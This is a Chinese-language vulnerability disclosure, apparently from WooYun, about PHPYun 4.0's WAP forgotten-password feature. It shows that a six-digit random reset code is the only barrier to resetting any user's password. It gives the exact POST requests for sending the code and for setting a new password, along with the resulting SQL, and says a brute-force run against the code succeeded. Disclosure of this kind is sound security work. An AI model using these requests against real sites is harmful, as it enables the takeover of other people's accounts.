这个逻辑其实是一个传统的逻辑,首先我们分析一下代码:
条件一:
如果允许用户找回密码操作,phpyun就必须后台配置email或者短信,为了分析方便我们注释掉这一块:
可以确定官网demo是开启了这个配置,因为它允许用户找回密码
wap/forgetpw.class.php:
从以上代码可以看出来,只要知道用户名即可,这个太方便了,我在系统里面注册了一个用户名为test的用户
url:
http://localhost/phpyun40/upload/index.php?c=forgetpw&m=wap&a=send
postdata:
username=test&sendtype=email
这样就会在cert表里面存储一个东西,看看抓到的sql是什么:
如果之前这个人找回过密码也就是数据库里面存在记录,那么就执行
UPDATE `phpyun_company_cert` SET `check2`=486196,`ctime`=1437024758 WHERE 1 and `id`='1'
如果没有记录就会进行insert操作
INSERT INTO `phpyun_company_cert` SET `type`='5',`status`='0',`uid`='1',`check2`='674584',`check`='[email protected]',`ctime`='1437024891'
这个check2 居然是个六位的纯数字,我们在看看check2是怎么产生的
$sendcode=rand(100000,999999);
我们继续在看这一段代码:
要想更改这个用户的密码,由以下几个条件
第一个email 这个其实等于不是条件,因为这个email是内部传输的,这样一来就为我们减轻了一个参数,其实就是里面的check
第二个,check2 这个就是我们刚才的六位纯数字
url:
http://localhost/phpyun40/upload/index.php?c=forgetpw&m=wap&a=editpw
postdata:
username=test&password=111111&sendtype=email&code=674584
看看后台抓取的sql:
2015/7/16 13:38 UPDATE `phpyun_member` SET `password`='b14a85b5b44b9a523d20ec497fa82f0c',`salt`='01ad17' WHERE 1 and `uid`='1'
跟我们分析的一模一样
那么下来的问题就落在了 这个六位纯数字了
我们brute跑跑看看:

看到这个这个长度了就是了破解成功
六位纯数字的爆破解释 可以参考
WooYun: 21cn密码找回功能设计缺陷(爆破)